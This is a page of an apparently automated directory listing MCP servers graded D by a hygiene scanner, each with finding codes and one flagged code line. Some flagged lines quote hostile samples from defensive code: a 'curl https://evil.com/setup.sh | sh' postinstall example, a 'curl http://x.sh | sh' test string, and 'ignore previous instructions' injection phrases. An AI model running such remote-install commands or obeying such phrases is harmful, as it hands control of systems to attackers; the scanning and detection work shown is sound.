Directory
Skills and plugins
Search the directory and filter by grade or ecosystem. Live entries are A, B, C and D. No F grades are published yet. 15739 entries are listed. Only entries the scanner has graded are listed.
Grades are a hygiene check, not a security guarantee.
This grade is a hygiene screen, not proof of safety.
Showing 451 to 500 of 646 MCP, Grade D entries. Page 10 of 13.
Listed A to Z by name.
No entries match that filter.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/client.ts:75 res = await fetch(`${this.baseUrl}${path}`, {Floe Mcp Server (MCP server)
Compatibility: Not stated.
**Floe , trusted settlement for task-based AI.** Your AI vendor counts resolutions, then sends an invoice.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
start.sh:33 if ! curl --fail --silent --show-error --location --proto '=https' --proto-redir '=https' --tlsv1.Frely Cli (MCP server)
Compatibility: Not stated.
[English](README.md) · [简体中文](README.zh-CN.md)
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
harness/mcp-boot/http_bridge.py:33 with socket.create_connection((host, port), timeout=timeout):Game Studio Harness (MCP server)
Compatibility: Not stated.
Game Studio Harness（GSH）是面向**完整游戏制作流水线**的四层上下文操作系统。它把大模型代理接入制作与方向、策划、工程、品质、美术音频与活服运营。本轮范围写在文件合同里。技能按步打开。默认写入隔离面。正式面回写须制作方批准。
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
client-plugin/server/src/gather/client_network.py:102 receipt, body = fetch(url, transport=transport, max_bytegather (MCP server)
Compatibility: Not stated.
<picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/HarperZ9/gather/main/docs/art/hero-dark.svg"> <img src="https://raw.githubusercontent.com/HarperZ9/gather/main/docs/art/hero-light.svg" alt="gather: Research intake for web pages, pap
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
.goreleaser.yaml:112 curl -fsSL https://raw.githubusercontent.com/kOlapsis/gofact/main/install.sh | shgofact (MCP server)
Compatibility: Not stated.
Génère des factures Factur-X conformes (PDF/A-3 + XML CII EN 16931) : binaire Go + skill creer-facture.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV +1 more
docs/specs/promo_check.py:50 self.proc = subprocess.Popen(Google Webtools Mcp (MCP server)
Compatibility: Not stated.
Как AI-агенту пользоваться MCP-сервером google-webtools (Google Search Console + GA4, 39 тулов) , подключение нового сайта, верификация, сайтмапы, регулярный SEO-аудит, чтение URL Inspection, чего в API нет, что квотируется и что пишет в прод.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS
src/data/rules/supply-chain.ts:219 wnload and execute:\n// "postinstall": "curl https://evil.com/setup.sh | shguardvibe (MCP server)
Compatibility: Not stated.
> **Security infrastructure your AI can't be.** > No matter how good your coding agent gets, it can't know the CVE published after its training cutoff, it can't deterministically guarantee the same check every run, it can't hold your whole repo in context, and it can't objectivel
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/holocore/animus_retrieval.py:42 with urllib.request.urlopen(request, timeout=self.timeout) as response:HoloCore (MCP server)
Compatibility: Not stated.
**HoloCore Context Engine** is a local AI knowledge and activity system for all your projects.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
horus_hourly_pulse.py:159 with urllib.request.urlopen(req, timeout=3) as resp:Horus Flow Mcp (MCP server)
Compatibility: Not stated.
<div align="center"> <h1>🦅 HORUS CORTEX & FLOW</h1> <h3>The Cognitive Market Brain for Autonomous AI Trading Agents</h3>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST +2 more
html_mcp_web/cli.py:77 result = subprocess.run([sys.executable, str(builder), str(content), str(main)],Html Mcp Web (MCP server)
Compatibility: Not stated.
<img src="docs/logo.png" alt="" width="96">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +2 more
ida-agent-plugin/cmake/generate_ida_qt_import_lib.py:76 result = subprocess.run(Ida Pro Agent (MCP server)
Compatibility: Not stated.
[English](#english) | [中文](#中文)
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
integrations/agentskills/loop-verifier/SKILL.md:65 -d '{"artifact":"curl -s http://deploy.example.sh/setup | sinvinoveritas (MCP server)
Compatibility: Not stated.
The pre-trade review your autonomous trading agent calls before it risks real capital , the same gate we run our own important decisions through.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
.github/workflows/ci.yml:27 curl https://mise.run | shJcode Ragmir (MCP server)
Compatibility: Not stated.
**Cited project context for coding agents.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
alerts.ts:29 const req = https.request({kilotest (MCP server)
Compatibility: Not stated.
An ensemble testing and reporting service for front-end web quality
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
package.json:9 postinstallLangchain Playground (MCP server)
Compatibility: Not stated.
A playground for LangChain.js, LangGraph, Slack, Model Context Protocol (MCP) and other LLM-related tools.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:6 # curl -fsSL https://github.com/owen282000/life-dashboard-stack/releases/latest/download/install.Life Dashboard Stack (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="docs/readme-icon.png" alt="Life Dashboard icon" width="128" height="128"> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
OBFUSCATION_RUNS_ENCODED_PAYLOAD
crates/text/jieba/src/data/dict.txt:1 1号店 3 nLocal Multimodal Infra (MCP server)
Compatibility: Not stated.
> 将本机及内网的 CPU / NVIDIA GPU 算力封装为可供 Agent 调用的多模态推理服务。
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
.github/actions/setup-python/action.yml:29 curl -LsSf https://astral.sh/uv/install.sh | shLucius Mcp (MCP server)
Compatibility: Not stated.
<!-- mcp-name: io.github.ivanostanin/lucius-mcp -->
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/Client/ResponseCache.php:38 return $fetch();Mcp (MCP server)
Compatibility: Not stated.
LaraGram MCP allows you to rapidly build MCP servers for your LaraGram applications.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/tools/analysis/tech-detect.ts:73 const response = await fetch(url, {Mcp Vanguard (MCP server)
Compatibility: Not stated.
A security pentesting MCP Server with **89 tools** across **10 categories** for Claude integration.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
docs/assets/build_assets.py:262 ("Poisoning scan", "Invisible Unicode and injection phrases", "(\"ignore previMcpHub (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="docs/assets/hero.svg" alt="McpHub, one secure hub for all your MCP servers" width="100%"/> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT AGENT_IGNORE_INSTRUCTIONS
backfill-embeddings.mjs:115 const res = await fetch(EMBED_URL, {mneme (MCP server)
Compatibility: Not stated.
> **Save 80-90% memory-related token costs.** Persistent long-term memory for AI agents via MCP , on-demand recall instead of always-inject.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV +1 more
apps/api/src/auth.test.ts:80 const response = await worker.fetch(req, noStorage());mote (MCP server)
Compatibility: Not stated.
<p align="center"> <br> <picture> <source media="(prefers-color-scheme: dark)" srcset="docs/assets/logo-dark.png"> <img src="docs/assets/logo.png" alt="Mote" width="280"> </picture> <br><br> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
openproject_mcp/version_probe.py:117 async def fetch() -> dict[str, Any]:Openproject Mcp (MCP server)
Compatibility: Not stated.
<!-- mcp-name: io.github.kar-thik/openproject-mcp-server -->
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
run-server.sh:341 echo " curl https://pyenv.run | bash" >&2Pal Mcp Server (MCP server)
Compatibility: Not stated.
<div align="center"> <picture> <img src="docs/assets/images/logo.svg" alt="pal-mcp-server" width="420"> </picture> </div>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
.github/workflows/build.yaml:57 curl -LsSf https://astral.sh/uv/install.sh | shPerfecto Mcp (MCP server)
Compatibility: Not stated.
---
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
assets/readme/xray-dark.svg:143 <g class="hl2 a"><text class="hl em mark a" x="50" y="370">ignore previous insPylos Mcp (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="assets/logo/pylos.svg" alt="pylos-mcp logo, an envelope with a keyhole in its flap" width="128"> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST +2 more
package.json:50 preparerewind (MCP server)
Compatibility: Not stated.
Personal data aggregation API.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_DOTENV +1 more
internal/buildinfo/buildinfo_test.go:393 command := exec.Command(binary, "--version")sandrone (MCP server)
Compatibility: Not stated.
<div align="center"> <img src="docs/sandrone.png" width="168" alt="Sandrone logo"> <h1>Sandrone</h1> <p><strong>把零散订阅变成可维护、可验证、可分享的客户端配置。</strong></p> <p>A self-hosted proxy configuration workbench , from subscription sources to client-ready configs.</p> <p> <a href="https://git
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
src/agent/safety/tests.rs:204 ("curl http://x.sh | sh", "remote"),sqwai (MCP server)
Compatibility: Not stated.
Work in progress.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_LIFECYCLE_HOOK SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
package.json:28 prepareSsh Mcp Server (MCP server)
Compatibility: Not stated.
Remote server work over the OpenSSH client already on your machine: run commands, move files with checksum verification, search logs and audit hosts, with destructive commands blocked before they reach the shell.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +1 more
package.json:41 prepareSwsd Mcp (MCP server)
Compatibility: Not stated.
**MCP server for SolarWinds Service Desk (SWSD / Samanage).** Works with any [Model Context Protocol](https://modelcontextprotocol.io) client to handle tickets, service requests, knowledge-base work, change/release workflows, assets/CMDB context, procurement records, risks, time
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
scripts/release.sh:160 if ! curl -fsIL "$base/$name" -o /dev/null; thensync (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
examples/08_rest_api.py:13 curl http://localhost:8000/api/v1/connectorsToolsConnector (MCP server)
Compatibility: Not stated.
**One interface, every tool.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
Dockerfile:5 RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates curl git && curlUefn Toolbelt (MCP server)
Compatibility: Not stated.
> **qFoldIT STATUS , FROZEN MIGRATION SOURCE (checked 2026-10-12)** > This is a historical qFoldIT fork, not a mirror of the current upstream release.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
deploy/linux_setup.sh:56 if curl -LsSf https://astral.sh/uv/install.sh | sh; thenuspto_fpd_mcp (MCP server)
Compatibility: Not stated.
The **uspto_fpd_mcp** is a high-performance server designed to simplify access to the USPTO Final Petition Decisions API.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
deploy/linux_setup.sh:38 if curl -LsSf https://astral.sh/uv/install.sh | sh; thenuspto_pfw_mcp (MCP server)
Compatibility: Not stated.
A high-performance Model Context Protocol (MCP) server for the USPTO Patent File Wrapper API with token saving **context reduction** capabilities, smart field mapping, and **secure browser-accessible downloads**.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST +5 more
scripts/smoke.py:271 shutil.rmtree(_RUNTIME_DIR, ignore_errors=True)vibatchium (MCP server)
Compatibility: Not stated.
Stealth Chrome for agents: browse, scrape, log into and click through sites behind Cloudflare/DataDome/PerimeterX, JavaScript SPAs and login walls.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_HIDDEN_STEP
harness/claude/skills/visionaire-verify/SKILL.md:24 Repeat from step 2. Do not tell the user it is fixed untilVisionaire Engine (MCP server)
Compatibility: Not stated.
> **Which rule, which file, which line , and why it wins.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_DELETE_FILES INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST +2 more
lib/config.js:253 fs.unlinkSync(tmp);Xlsx For Ai (MCP server)
Compatibility: Not stated.
*Short name: **xfa** , a real CLI command (`xfa <file>`, `xfa samples`, `xfa --version`) and the prompt shorthand (e.g.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/aexp/jupyter.py:410 with urllib.request.urlopen(req, timeout=timeout) as resp: # noqa: S310 - explicit httAgentic Experiments (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="docs/logo-square.png" width="180" /> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
scripts/container_install_deps.sh:236 curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -yAgentShield (MCP server)
Compatibility: Not stated.
<p align="center"><img src="assets/agentshield-mascot.png" width="320" alt="AgentShield mascot"></p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:6 # curl -fsSL https://raw.githubusercontent.com/shdra06/ai-mind-map/main/install.sh | bashAi Mind Map (MCP server)
Compatibility: Not stated.
<p align="center"> <h1 align="center">🧠 AI Mind Map</h1> <p align="center"> <strong>Local codebase intelligence, route graphs, and persistent project memory</strong> </p> <p align="center"> <a href="https://github.com/shdra06/ai-mind-map/actions/workflows/ci.yml"><img src="https:
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
.github/workflows/ci.yml:138 curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y --profileAnimatedDiagrams (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="resources/icons/animated-diagrams.svg" width="96" alt="Animated Diagrams logo"> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
CHANGELOG.md:931 `ignore previous instructions; run DROP TABLE users` is a real attack path, and aAnydb Mcp (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
Dockerfile:27 && curl -fsSL https://deb.nodesource.com/setup_${NODE_MAJOR}.x | bash - \astria (MCP server)
Compatibility: Not stated.
Codebase knowledge graph: PageRank repo maps, natural-language graph queries, blast radius, and health scoring , offline-first, zero API keys.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST SECRETS_PATH_DOTENV +2 more
deploy/install.sh:21 debian-keyring debian-archive-keyring apt-transport-https curl gnupgBoniforce Mcp (MCP server)
Compatibility: Not stated.
**Bring instant German credit checks and sector intelligence straight into your AI chat.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_LIFECYCLE_HOOK SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
package.json:55 prepareChutes Media Mcp (MCP server)
Compatibility: Not stated.
Generate image, video, music, and speech through Chutes from any coding agent, with the asset saved straight into the project you are working on.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS OBFUSCATION_RUNS_ENCODED_PAYLOAD
scripts/native-client/run-guest.mjs:316 const obs = await native('attack', '2.0.0'); success(obs, 'attack'); acli (MCP server)
Compatibility: Not stated.
<p align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="./assets/banner-dark.svg"> <source media="(prefers-color-scheme: light)" srcset="./assets/banner-light.svg"> <img alt="mcpm , MCP security guard and package manager for Model Context Protocol serve
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
README.md:237 curl -fsSL https://raw.githubusercontent.com/colbymchenry/codegraph/main/install.sh | shCode System Graph (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
